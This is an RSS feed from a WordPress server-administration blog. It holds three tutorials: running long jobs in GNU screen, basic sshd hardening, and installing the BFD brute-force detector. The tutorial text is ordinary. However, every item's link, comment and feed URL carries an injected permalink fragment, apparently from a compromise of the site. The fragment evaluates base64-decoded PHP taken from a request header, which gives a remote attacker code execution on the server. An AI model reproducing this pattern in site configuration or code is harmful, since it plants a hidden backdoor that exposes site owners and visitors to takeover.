<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>cPanelConfig - cPanel server configuration guide &#187; linux</title>
	<atom:link href="http://www.cpanelconfig.com/tag/linux/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.cpanelconfig.com</link>
	<description>The complete guide to setup and manage a cPanel based server</description>
	<lastBuildDate>Fri, 17 Jul 2009 11:15:39 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Using the screen command</title>
		<link>http://www.cpanelconfig.com/2008/10/09/using-the-screen-command/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2008/10/09/using-the-screen-command/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Thu, 09 Oct 2008 08:09:08 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Linux commands]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[screen]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/?p=70</guid>
		<description><![CDATA[What is the screen command?




First of all I will start by telling you what you can do using the &#8220;screen&#8221; command.
Many times as a linux sysadmin you will need to run multiple commands at once. You are probably doing this by opening multiple ssh sessions but there is a better way to do it !
Also [...]]]></description>
			<content:encoded><![CDATA[<p><strong>What is the screen command?</strong></p>
<p><!--adsense--><br />
First of all I will start by telling you what you can do using the &#8220;screen&#8221; command.<br />
Many times as a linux sysadmin you will need to run multiple commands at once. You are probably doing this by opening multiple ssh sessions but there is a better way to do it !<br />
Also as a sysadmin you probably had to run a command or script that is taking hours to finish like a rsync. This usually requires you to keep the ssh session open as if you close it the command or script will also be closed.</p>
<p>If you ever faced any of those problems then it&#8217;s probably time to learn about the screen command.</p>
<p>Screen &#8211; makes it possible to run multiple full-screen pseudo-terminals from one real terminal, and lets you manipulate and save your screen input and output, copy and paste between windows.</p>
<p>In this tutorial I will only present how you can run a command that is taking hours to complete in a screen.<br />
<!--adsense--><br />
First of all make sure that you have screen installed. If you don&#8217;t you can install it using yum, apt-get or any other package manager that you might have on your server.</p>
<blockquote><p>yum install screen</p></blockquote>
<p>Now type in:</p>
<blockquote><p>screen</p></blockquote>
<p>This will start a new screen for you. You could also name you screen using the -S option. Something like:</p>
<blockquote><p>screen -S 1</p></blockquote>
<p>In this case I named the screen &#8220;1&#8243;.</p>
<p>The screeen will look like any other ssh window.<br />
You can now type in your command that you want to run.</p>
<p>If you want to detach from the screen and still keep the command running you can do this by pressing:</p>
<blockquote><p><strong>Ctrl-a d (that is press Ctrl-a, release and press d)</strong></p></blockquote>
<p>If you want to reatach to a screen you simply type in:</p>
<blockquote><p>screen -r</p></blockquote>
<p>Other options that you have when you are in a screen are:</p>
<ol>
<li> To create a new screen:</li>
<blockquote><p><strong>Ctrl-a c</strong></p></blockquote>
<li>To switch between screens:</li>
<blockquote><p><strong>Ctrl-a n</strong></p></blockquote>
<li>And many others.</li>
</ol>
<p>For more help on this you can use:</p>
<blockquote><p>man screen</p></blockquote>
<p><!--adsense--><br />
Hope it helps!<br />
If you have any questions just leave a comment.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2008/10/09/using-the-screen-command/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Secure ssh access</title>
		<link>http://www.cpanelconfig.com/2007/09/12/secure-ssh-access/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/09/12/secure-ssh-access/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Wed, 12 Sep 2007 21:04:54 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[secure ssh]]></category>
		<category><![CDATA[ssh]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/cpanel-security-related-articles/secure-ssh-access/</guid>
		<description><![CDATA[
Securing ssh access is extremely vital for any server. There are a few things that you can do to secure it. This article will cover one the basics.

The first this that I recommend doing is changing the ssh port. This will prevent a lot of login attempts from automatic scripts trying port 22. To do [...]]]></description>
			<content:encoded><![CDATA[<p><!--adsense--><br />
Securing ssh access is extremely vital for any server. There are a few things that you can do to secure it. This article will cover one the basics.</p>
<ol>
<li>The first this that I recommend doing is changing the ssh port. This will prevent a lot of login attempts from automatic scripts trying port 22. To do this edit the file /etc/ssh/sshd_config</li>
<blockquote><p>pico /etc/ssh/sshd_config</p></blockquote>
<p>Locate the line #Port 22, uncomment it and change the port to something random.<br />
Note: Please remember to open this port in your firewall if you use one. Failure to do so may lock you out if your own server !</p>
<li>Allow only SSH 2 protocol</li>
<p>Again edit /etc/ssh/sshd_config, locate the line #Protocol 2,1 and change it to Protocol 2</p>
<p>After doing step 1 and 2 you have to restart sshd for the changes to take effect.</p>
<blockquote><p>service sshd restart</p></blockquote>
</ol>
<p><!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/09/12/secure-ssh-access/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Install BFD &#8211; Brute Force Detection</title>
		<link>http://www.cpanelconfig.com/2007/09/11/install-bfd-brute-force-detection/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/09/11/install-bfd-brute-force-detection/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Tue, 11 Sep 2007 22:02:09 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[APF]]></category>
		<category><![CDATA[bdf]]></category>
		<category><![CDATA[Brute Force Detection]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/uncategorized/install-bfd-brute-force-detection/</guid>
		<description><![CDATA[
What is BFD?
BFD is a modular shell script for parsing applicable logs and checking for authentication failures. There is not much complexity or detail to BFD yet and likewise it is very straight-forward in its installation, configuration and usage. The reason behind BFD is very simple; the fact there is little to no authentication and [...]]]></description>
			<content:encoded><![CDATA[<p><!--adsense--><br />
<strong>What is BFD?<br />
</strong>BFD is a modular shell script for parsing applicable logs and checking for authentication failures. There is not much complexity or detail to BFD yet and likewise it is very straight-forward in its installation, configuration and usage. The reason behind BFD is very simple; the fact there is little to no authentication and brute force auditing programs in the linux community that work in conjunction with a firewall or real-time facility to place bans.</p>
<p><strong>Install instructions</strong></p>
<p>Please note that you must have APF installed before you install BFD. The installation guide for APF is located <a href="http://www.cpanelconfig.com/cpanel-security-related-articles/install-apf-firewall/" title="Install APF">here</a>.</p>
<ol>
<li>Download and extract BFD</li>
<blockquote><p>wget http://www.r-fx.ca/downloads/bfd-current.tar.gz<br />
gzip -d bfd-current.tar.gz<br />
tar -xf bfd-current.tar</p></blockquote>
<li>Move to the extracted directory</li>
<blockquote><p>cd bfd-0.9/</p></blockquote>
<li>Run the installer</li>
<blockquote><p>./install.sh</p></blockquote>
<p>After the installer runs you should see something like<br />
<!--adsense--></p>
<blockquote><p>BFD installed<br />
Install path: /usr/local/bfd<br />
Config path: /usr/local/bfd/conf.bfd<br />
Executable path: /usr/local/sbin/bfd</p></blockquote>
<li>Edit the configuration files</li>
<blockquote><p>pico /usr/local/bfd/conf.bfd</p></blockquote>
<p>The only things that I suggest changing are:<br />
- ALERT_USR=&#8221;0&#8243; to ALERT_USR=&#8221;1&#8243;<br />
- EMAIL_USR=&#8221;root&#8221; to EMAIL_USR=&#8221;you@domain.com&#8221;</ol>
<p>BFD works by running a cron every 5 minutes to check for login attempts. You can customize the rules used for any of the monitored services by editing the appropriate rule located in /usr/local/bfd/rules</p>
<p>If you have any questions about BFD please leave a comment and I will try to answer each and every question.<br />
<!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/09/11/install-bfd-brute-force-detection/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
